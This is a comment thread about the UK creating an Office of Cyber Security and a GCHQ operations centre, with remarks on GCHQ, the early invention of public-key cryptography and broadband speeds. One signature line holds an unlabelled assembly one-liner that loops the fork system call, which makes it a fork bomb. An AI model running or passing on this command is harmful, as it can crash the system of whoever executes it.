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UK Launches Dedicated Cyber Security Agency
Jack Spine writes "The UK government is launching an office dedicated to cyber attack and defence. The Office of Cyber Security will focus on protecting Britain's IT infrastructure, and will be similar to the US Cyber Command model. While the Pentagon Cyber Command will be lead by the NSA, the UK Cyber Security Operations Centre, which will coordinate UK cyber efforts, will be based at GCHQ in Cheltenham."
When the Thought Police are knocking on your door, think "I'm not home".
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
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Given that it's run by GCHQ, that will probably be some other department. GCHQ is full of competent people and manages to be a lot more successfully apolitical than other parts of the security service. Probably because they already know all of the elected politicians' dirty secrets. These are the guys who invented RSA decades before it was first published, not the guys who leave briefcases full of classified documents on trains.
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Not sure why you're kidding. There's a lot of that kind of thing going on between the UK and US governments. Typically, someone on one side of the pond has a moderately good idea. Someone on the other side takes it to its logical conclusion. Someone back on the first side takes it a bit further. Then, they harmonise their efforts by taking it to ridiculous extremes.
It's fun to blame Americans for everything (and, let's face it, they are so easy to bait), but often we're as much to blame for their stupid behaviour as we are for theirs. Take the Iraq war fiasco, for example. The US and UK intelligence services met up, and admitted to each other that they didn't really have much evidence. Both sides went back and said to their superiors something along the lines of 'we don't have much evidence, but they've got this and we think they've got some more serious evidence that they don't want to share with us for national security reasons'. These then made it into reports to politicians. A few years later, they both realised that both sides were telling the truth (unheard of in intelligence circles) and they really didn't know anything.
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Lucky bstrds and their "1mbps Top Tier High-Speed(tm)" ADSL network
My mother, living in the middle of nowhere in rural England gets 1Mb/s ADSL. Those of us nearer cities get a lot more. I'm on 10Mb/s (closer to 8.8 in practice), with my ISP offering speeds up to 50Mb/s. Most cities also have 24Mb/s ADSL2.
I think you are confusing network infrastructure with government projects. Typically, an IT project in the UK follows this process:
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Funnily enough, I have met some people who worked for GCHQ. They are very competent, they do not talk directly about their work but sometimes you may end up a conversation where they may believe you are in a similar line of business and may drop the odd comment that makes you think they work in the 'doughnut'. It has a problem in that they are limited by UK civil servant salaries and that it is probably the most secretive of UK organisations in that it is heavily compartmentalised. The guys who invented public-key cryptography before Diffie-Hellman and RSA were limited by these walls and didn't realise that it could be commercially interesting.
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